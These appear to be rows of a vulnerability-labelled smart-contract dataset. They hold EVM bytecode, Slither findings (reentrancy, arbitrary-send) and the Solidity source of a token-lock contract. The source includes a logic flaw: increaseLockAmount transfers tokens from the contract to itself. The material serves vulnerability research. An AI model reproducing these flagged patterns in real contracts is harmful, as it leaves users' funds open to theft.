13990602a83613f15565b915061399b82614255565b604082019050919050565b60006139b3601c83613f15565b91506139be826142a4565b602082019050919050565b60006139d6602683613f15565b91506139e1826142cd565b604082019050919050565b60006139f9602283613f15565b9150613a048261431c565b604082019050919050565b6000613a1c600f83613f15565b9150613a278261436b565b602082019050919050565b6000613a3f601b83613f15565b9150613a4a82614394565b602082019050919050565b6000613a62603483613f15565b9150613a6d826143bd565b604082019050919050565b6000613a85602183613f15565b9150613a908261440c565b604082019050919050565b6000613aa8602083613f15565b9150613ab38261445b565b602082019050919050565b6000613acb602983613f15565b9150613ad682614484565b604082019050919050565b6000613aee602583613f15565b9150613af9826144d3565b604082019050919050565b6000613b11602383613f15565b9150613b1c82614522565b604082019050919050565b6000613b34600d83613f15565b9150613b3f82614571565b602082019050919050565b6000613b57602483613f15565b9150613b628261459a565b604082019050919050565b6000613b7a600c83613f15565b9150613b85826145e9565b602082019050919050565b613b9981614079565b82525050565b613ba881614083565b82525050565b6000602082019050613bc3600083018461386a565b92915050565b6000602082019050613bde60008301846138d7565b92915050565b6000602082019050613bf960008301846138e6565b92915050565b60006020820190508181036000830152613c198184613904565b905092915050565b60006020820190508181036000830152613c3a8161393d565b9050919050565b60006020820190508181036000830152613c5a81613960565b9050919050565b60006020820190508181036000830152613c7a81613983565b9050919050565b60006020820190508181036000830152613c9a816139a6565b9050919050565b60006020820190508181036000830152613cba816139c9565b9050919050565b60006020820190508181036000830152613cda816139ec565b9050919050565b60006020820190508181036000830152613cfa81613a0f565b9050919050565b60006020820190508181036000830152613d1a81613a32565b9050919050565b60006020820190508181036000830152613d3a81613a55565b9050919050565b60006020820190508181036000830152613d5a81613a78565b9050919050565b60006020820190508181036000830152613d7a81613a9b565b9050919050565b60006020820190508181036000830152613d9a81613abe565b9050919050565b60006020820190508181036000830152613dba81613ae1565b9050919050565b60006020820190508181036000830152613dda81613b04565b9050919050565b60006020820190508181036000830152613dfa81613b27565b9050919050565b60006020820190508181036000830152613e1a81613b4a565b9050919050565b60006020820190508181036000830152613e3a81613b6d565b9050919050565b6000602082019050613e566000830184613b90565b92915050565b600060a082019050613e716000830188613b90565b613e7e60208301876138f5565b8181036040830152613e908186613879565b9050613e9f606083018561386a565b613eac6080830184613b90565b9695505050505050565b6000602082019050613ecb6000830184613b9f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f3182614079565b9150613f3c83614079565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f7157613f7061410b565b5b828201905092915050565b6000613f8782614079565b9150613f9283614079565b925082613fa257613fa161413a565b5b828204905092915050565b6000613fb882614079565b9150613fc383614079565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ffc57613ffb61410b565b5b828202905092915050565b600061401282614079565b915061401d83614079565b9250828210156140305761402f61410b565b5b828203905092915050565b600061404682614059565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061409b826140b4565b9050919050565b60006140ad82614079565b9050919050565b60006140bf826140c6565b9050919050565b60006140d182614059565b9050919050565b60005b838110156140f65780820151818401526020810190506140db565b83811115614105576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e7420746f6f206d7563680000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3525000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61461b8161403b565b811461462657600080fd5b50565b6146328161404d565b811461463d57600080fd5b50565b61464981614079565b811461465457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2c15b1a8f2b85c1f818928fbf7d8c2b290fdc60dc263e7b6c5bbc8343337a6764736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,129 |
0x17580ffb4cf5b5b3aaeb85a66f78133a46ad1548 | /**
*Submitted for verification at Etherscan.io on 2020-09-28
*/
pragma solidity ^0.6.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
abstract contract ERC1132 {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct lockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => lockToken)) public locked;
/**
* @dev Records data of all the tokens Locked
*/
event Locked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount,
uint256 _validity
);
/**
* @dev Records data of all the tokens unlocked
*/
event Unlocked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount
);
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lock(string memory _reason, uint256 _amount, uint256 _time)
public virtual returns (bool);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, string memory _reason, uint256 _time)
public virtual view returns (uint256 amount);
/**
* @dev Returns total tokens held by an address (locked + transferable)
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of)
public virtual view returns (uint256 amount);
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLock(string memory _reason, uint256 _time)
public virtual returns (bool);
/**
* @dev Increase number of tokens locked for a specified reason
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be increased
*/
function increaseLockAmount(string memory _reason, uint256 _amount)
public virtual returns (bool);
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Unlocks the unlockable tokens of a specified address
* @param _of Address of user, claiming back unlockable tokens
*/
function unlock(address _of)
public virtual returns (uint256 unlockableTokens);
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public virtual view returns (uint256 unlockableTokens);
}
interface SocialRocketContrat{
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
contract SocialRocketLock is Ownable , ERC1132 {
using SafeMath for uint256;
mapping (address => uint256) private _released;
SocialRocketContrat private rocks;
address private token;
string internal constant ALREADY_LOCKED = 'Tokens already locked';
string internal constant NOT_LOCKED = 'No tokens locked';
string internal constant AMOUNT_ZERO = 'Amount can not be 0';
constructor(address socialRocketContract) public {
rocks = SocialRocketContrat(socialRocketContract);
token = socialRocketContract;
}
/********
TEAM LOCK
********/
function lock(string memory _reason, uint256 _amount, uint256 _time)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
uint256 validUntil = now.add(_time); //solhint-disable-line
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
require(tokensLocked(msg.sender, bytes32ToString(reason)) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[msg.sender][reason].amount == 0)
lockReason[msg.sender].push(reason);
rocks.transferFrom(msg.sender, address(this), _amount);
locked[msg.sender][reason] = lockToken(_amount, validUntil, false);
emit Locked(msg.sender, reason, _amount, validUntil);
return true;
}
function transferWithLock(address _to, string memory _reason, uint256 _amount, uint256 _time)
public onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
uint256 validUntil = now.add(_time); //solhint-disable-line
require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[_to][reason].amount == 0)
lockReason[_to].push(reason);
rocks.transferFrom(msg.sender, address(this), _amount);
locked[_to][reason] = lockToken(_amount, validUntil, false);
emit Locked(_to, reason, _amount, validUntil);
return true;
}
function tokensLocked(address _of, string memory _reason)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (!locked[_of][reason].claimed)
amount = locked[_of][reason].amount;
}
function tokensLockedAtTime(address _of, string memory _reason, uint256 _time)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > _time)
amount = locked[_of][reason].amount;
}
function totalBalanceOf(address _of)
public override
view
returns (uint256 amount)
{
amount = rocks.balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(tokensLocked(_of, bytes32ToString(lockReason[_of][i])));
}
}
function extendLock(string memory _reason, uint256 _time)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
locked[msg.sender][reason].validity = locked[msg.sender][reason].validity.add(_time);
emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity);
return true;
}
function increaseLockAmount(string memory _reason, uint256 _amount)
public override onlyOwner
returns (bool)
{
bytes32 reason = stringToBytes32(_reason);
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
rocks.transfer(address(this), _amount);
locked[msg.sender][reason].amount = locked[msg.sender][reason].amount.add(_amount);
emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity);
return true;
}
function tokensUnlockable(address _of, string memory _reason)
public override
view
returns (uint256 amount)
{
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity <= now && !locked[_of][reason].claimed) //solhint-disable-line
amount = locked[_of][reason].amount;
}
function unlock(address _of)
public override onlyOwner
returns (uint256 unlockableTokens)
{
uint256 lockedTokens;
for (uint256 i = 0; i < lockReason[_of].length; i++) {
lockedTokens = tokensUnlockable(_of, bytes32ToString(lockReason[_of][i]));
if (lockedTokens > 0) {
unlockableTokens = unlockableTokens.add(lockedTokens);
locked[_of][lockReason[_of][i]].claimed = true;
emit Unlocked(_of, lockReason[_of][i], lockedTokens);
}
}
if (unlockableTokens > 0)
rocks.transfer(_of, unlockableTokens);
}
function getUnlockableTokens(address _of)
public override
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, bytes32ToString(lockReason[_of][i])));
}
}
function getremainingLockTime(address _of, string memory _reason) public view returns (uint256 remainingTime) {
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line
remainingTime = locked[_of][reason].validity.sub(now);
}
function getremainingLockDays(address _of, string memory _reason) public view returns (uint256 remainingDays) {
bytes32 reason = stringToBytes32(_reason);
if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line
remainingDays = (locked[_of][reason].validity.sub(now)) / 86400;
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) public pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint256 j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c80639201de55116100ad578063cfb5192811610071578063cfb5192814610a12578063d71be8db14610ae1578063dc369cec14610b55578063e4c58bf214610c44578063f2fde38b14610d2b57610121565b80639201de55146106405780639c264694146106e7578063ab4a2eb3146107d6578063b452f9731461082e578063cdf1c9d61461093557610121565b806366959491116100f457806366959491146103a2578063715018a61461049157806371d66f001461049b5780638da5cb5b146104fd5780638e9ecbb81461054757610121565b806320f14e791461012657806322774abe146102155780632f6c493c146102f25780634b0ee02a1461034a575b600080fd5b6101ff6004803603604081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561017957600080fd5b82018360208201111561018b57600080fd5b803590602001918460018302840111640100000000831117156101ad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610d6f565b6040518082815260200191505060405180910390f35b6102d86004803603604081101561022b57600080fd5b810190808035906020019064010000000081111561024857600080fd5b82018360208201111561025a57600080fd5b8035906020019184600183028401116401000000008311171561027c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610ea1565b604051808215151515815260200191505060405180910390f35b6103346004803603602081101561030857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129d565b6040518082815260200191505060405180910390f35b61038c6004803603602081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611637565b6040518082815260200191505060405180910390f35b61047b600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156103f557600080fd5b82018360208201111561040757600080fd5b8035906020019184600183028401116401000000008311171561042957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506117f2565b6040518082815260200191505060405180910390f35b610499611941565b005b6104e7600480360360408110156104b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a41565b6040518082815260200191505060405180910390f35b610505611a6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a6004803603606081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561059a57600080fd5b8201836020820111156105ac57600080fd5b803590602001918460018302840111640100000000831117156105ce57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611a94565b6040518082815260200191505060405180910390f35b61066c6004803603602081101561065657600080fd5b8101908080359060200190929190505050611b5c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106ac578082015181840152602081019050610691565b50505050905090810190601f1680156106d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c0600480360360408110156106fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561073a57600080fd5b82018360208201111561074c57600080fd5b8035906020019184600183028401116401000000008311171561076e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cef565b6040518082815260200191505060405180910390f35b610818600480360360208110156107ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e32565b6040518082815260200191505060405180910390f35b61091b6004803603608081101561084457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561088157600080fd5b82018360208201111561089357600080fd5b803590602001918460018302840111640100000000831117156108b557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190505050611f11565b604051808215151515815260200191505060405180910390f35b6109f86004803603604081101561094b57600080fd5b810190808035906020019064010000000081111561096857600080fd5b82018360208201111561097a57600080fd5b8035906020019184600183028401116401000000008311171561099c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050612442565b604051808215151515815260200191505060405180910390f35b610acb60048036036020811015610a2857600080fd5b8101908080359060200190640100000000811115610a4557600080fd5b820183602082011115610a5757600080fd5b80359060200191846001830284011164010000000083111715610a7957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612759565b6040518082815260200191505060405180910390f35b610b2d60048036036040811015610af757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612784565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b610c2e60048036036040811015610b6b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610ba857600080fd5b820183602082011115610bba57600080fd5b80359060200191846001830284011164010000000083111715610bdc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506127c8565b6040518082815260200191505060405180910390f35b610d1160048036036060811015610c5a57600080fd5b8101908080359060200190640100000000811115610c7757600080fd5b820183602082011115610c8957600080fd5b80359060200191846001830284011164010000000083111715610cab57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190505050612899565b604051808215151515815260200191505060405180910390f35b610d6d60048036036020811015610d4157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dd1565b005b600080610d7b83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206001015411158015610e3e5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b15610e9a57600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610efc57600080fd5b6000610f0784612759565b90506000610f1533866127c8565b116040518060400160405280601081526020017f4e6f20746f6b656e73206c6f636b65640000000000000000000000000000000081525090610ff2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fb7578082015181840152602081019050610f9c565b50505050905090810190601f168015610fe45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561109c57600080fd5b505af11580156110b0573d6000803e3d6000fd5b505050506040513d60208110156110c657600080fd5b81019080805190602001909291905050505061113e83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000154612f2290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060000181905550803373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f857600080fd5b600080600090505b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611541576113b0846113ab600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061139b57fe5b9060005260206000200154611b5c565b610d6f565b91506000821115611534576113ce8284612f2290919063ffffffff16565b92506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061145d57fe5b9060005260206000200154815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106114da57fe5b90600052602060002001548473ffffffffffffffffffffffffffffffffffffffff167f11f87fd5adcd05786919b8b868f59a70d78ae4eb6f305c5927f9c5b1659841a4846040518082815260200191505060405180910390a35b8080600101915050611300565b50600082111561163157600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b505050506040513d602081101561161e57600080fd5b8101908080519060200190929190505050505b50919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116d857600080fd5b505afa1580156116ec573d6000803e3d6000fd5b505050506040513d602081101561170257600080fd5b8101908080519060200190929190505050905060008090505b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156117ec576117dd6117ce846117c9600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085815481106117b957fe5b9060005260206000200154611b5c565b6127c8565b83612f2290919063ffffffff16565b9150808060010191505061171b565b50919050565b6000806117fe83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600101541180156118c05750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b1561193a576201518061192f42600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060010154612faa90919063ffffffff16565b8161193657fe5b0491505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60016020528160005260406000208181548110611a5a57fe5b90600052602060002001600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080611aa084612759565b905082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600101541115611b5457600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b509392505050565b60608060206040519080825280601f01601f191660200182016040528015611b935781602001600182028038833980820191505090505b509050600080905060008090505b6020811015611c3d5760008160080260020a8660001c0260001b9050600060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611c2f5780848481518110611bf757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350505b508080600101915050611ba1565b506060816040519080825280601f01601f191660200182016040528015611c735781602001600182028038833980820191505090505b50905060008090505b82811015611ce357838181518110611c9057fe5b602001015160f81c60f81b828281518110611ca757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050611c7c565b50809350505050919050565b600080611cfb83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060010154118015611dbd5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b15611e2b57611e2842600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060010154612faa90919063ffffffff16565b91505b5092915050565b600080600090505b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611f0b57611efc611eed84611ee8600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110611ed857fe5b9060005260206000200154611b5c565b610d6f565b83612f